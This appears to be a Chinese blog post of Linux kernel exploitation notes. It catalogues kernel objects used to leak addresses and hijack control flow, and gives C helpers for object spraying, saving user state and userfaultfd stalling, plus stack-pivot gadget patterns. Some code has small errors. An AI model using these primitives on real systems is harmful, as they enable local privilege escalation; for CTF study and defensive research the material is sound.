Linux Kernel Pwn常用gadget

shm_file_data

size: 0x20 (kmalloc-32)

ns, vm_ops泄漏kernel_base

file泄漏kernel堆地址

struct shm_file_data
{
	int id;
	struct ipc_namespace *ns;
	struct file *file;
	const struct vm_operations_struct *vm_ops;
};

使用方法:

int shmid_open()
{
	int shmid;
	if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1)
	{
		perror("Shmget Error");
		exit(-1);
	}
	char *shmaddr=shmat(shmid,NULL,0);
	if (shmaddr==(void*)-1)
	{
		puts("[X] Shmat Error");
		exit(0);
	}
	return shmid;
}

seq_operations

size: 0x20 (kmalloc-32)

四个指针都可以泄漏kernel_base

更改start可以劫持RIP

struct seq_operations
{
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

使用方法:

int seq_open()
{
	int seq;
	if ((seq=open("/proc/self/stat", O_RDONLY))==-1)
	{
		puts("[X] Seq Open Error");
		exit(0);
	}
	return seq;
}

劫持RIP:

read(seq,ptr,0);

劫持发生于seq_read处

rax=start
r15=&ptr

mov qword ptr [rsp], rax ;
ret ;

p = m->op->start(m, &m->index); /// fs/seq_file.c#L203

实现ROP所需要的gadgets:

0x0000000000000000 : xchg esp, eax ; ret ;
0x0000000000000000 : xchg rsp, r15 ; ret ;
0x0000000000000000 : xchg esp, r15d ; ret ;

tty_struct

size: 0x2e0 (kmalloc-1024)

tty_operations *ops可以泄漏kernel_base

__int64_t ptm_unix98_ops_addr=tty_buf[3];
if ((ptm_unix98_ops_addr&0xFFF)==0x320) ptm_unix98_ops_addr+=0x120;

劫持struct tty_operations *ops可以控制RIP

struct tty_struct
{
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;

	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;		/* protects tty_files list */
	struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
} __randomize_layout;

tty_operations *ops结构体:

struct tty_operations
{
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	int  (*write_room)(struct tty_struct *tty);
	int  (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,
			     unsigned int cmd, unsigned long arg);
	void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
	void (*throttle)(struct tty_struct * tty);
	void (*unthrottle)(struct tty_struct * tty);
	void (*stop)(struct tty_struct *tty);
	void (*start)(struct tty_struct *tty);
	void (*hangup)(struct tty_struct *tty);
	int (*break_ctl)(struct tty_struct *tty, int state);
	void (*flush_buffer)(struct tty_struct *tty);
	void (*set_ldisc)(struct tty_struct *tty);
	void (*wait_until_sent)(struct tty_struct *tty, int timeout);
	void (*send_xchar)(struct tty_struct *tty, char ch);
	int (*tiocmget)(struct tty_struct *tty);
	int (*tiocmset)(struct tty_struct *tty,
			unsigned int set, unsigned int clear);
	int (*resize)(struct tty_struct *tty, struct winsize *ws);
	int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
	int (*get_icount)(struct tty_struct *tty,
				struct serial_icounter_struct *icount);
	int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
	int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
	void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
	int (*poll_init)(struct tty_driver *driver, int line, char *options);
	int (*poll_get_char)(struct tty_driver *driver, int line);
	void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
	int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

使用方法:

int get_tty_struct()
{
	int ptmx_fd=open("/dev/ptmx",O_RDWR);
	if (ptmx_fd<=0) printf("[X] Ptmx open failed");
	read(fd,tty_buf,0);
	if (tty_buf[0]==0x100005401)
	{
		puts("[+] Ptmx struct got");
		return ptmx_fd;
	}
	return 0;
}

save_state

保存用户态寄存器

void save_state()
{
	asm(
		"movq %%cs, %0;"
		"movq %%ss, %1;"
		"movq %%rsp, %3;"
		"pushfq;"
		"pop %2;"
		: "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(user_rsp)
		:
		: "memory"
	);
}

register_userfault

缺页注册函数:

void register_userfault(void *fault_page, void *page_fault_handler, int filedes_out)
{ pthread_t thread_id;
struct uffdio_api ua;
struct uffdio_register ur;

uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC|O_NONBLOCK);
if (uffd == -1)
{
perror("Userfaultfd Error");
exit(EXIT_FAILURE);
}
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd,UFFDIO_API,&ua) == -1)
{
perror("UFFDIO_API Error");
exit(EXIT_FAILURE);
}

ur.range.start = (unsigned long)fault_page;
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd,UFFDIO_REGISTER,&ur)==-1)
{
perror("UFFDIO_REGISTER Error");
exit(EXIT_FAILURE);
}

uint64_t *handler_arg = malloc(sizeof(uffd) + sizeof(uint64_t));
handler_arg[0] = uffd;
handler_arg[1] = (uint64_t)filedes_out;

if (pthread_create(&thread_id, NULL, page_fault_handler, (void *)handler_arg) != 0)
{
perror("Pthread Error");
exit(EXIT_FAILURE);
} }

缺页处理函数:

void *page_fault_handler(uint64_t *handler_arg)
{
struct uffd_msg msg;
unsigned long uffd = handler_arg[0];

int filedes_out=handler_arg[1];
read(filedes_out, &filedes_out, 0x1);
free(handler_arg);

struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1)
{
perror("Poll Error");
exit(EXIT_FAILURE);
}

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
perror("Msg Error");
exit(EXIT_FAILURE);
}
char *page = (char *)mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
perror("Mmap Error");
exit(EXIT_FAILURE);
}
struct uffdio_copy uc;
memset(page, 0, sizeof(page));

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address&~(PAGE_SIZE-1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd,UFFDIO_COPY,&uc);
}

work_for_cpu_fn

struct work_for_cpu {
	struct work_struct work;
	long (*fn)(void *);
	void *arg;
	long ret;
};

struct work_struct {
	atomic_long_t data;
	struct list_head entry;
	work_func_t func;
#ifdef CONFIG_LOCKDEP
	struct lockdep_map lockdep_map;
#endif
};

static void work_for_cpu_fn(struct work_struct *work)
{
	struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
	wfc->ret = wfc->fn(wfc->arg);
}

使用方法: 

*(a1+0x30)=(*(void (*)(void *))(a1+0x20)(*(a1+0x28))
// fake assemble
mov rcx, rdi;
mov rdi, qword ptr [rdi+0x28] ;
call qword ptr [rcx+0x20] ;
mov qword ptr [rcx+0x30], rax ;
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇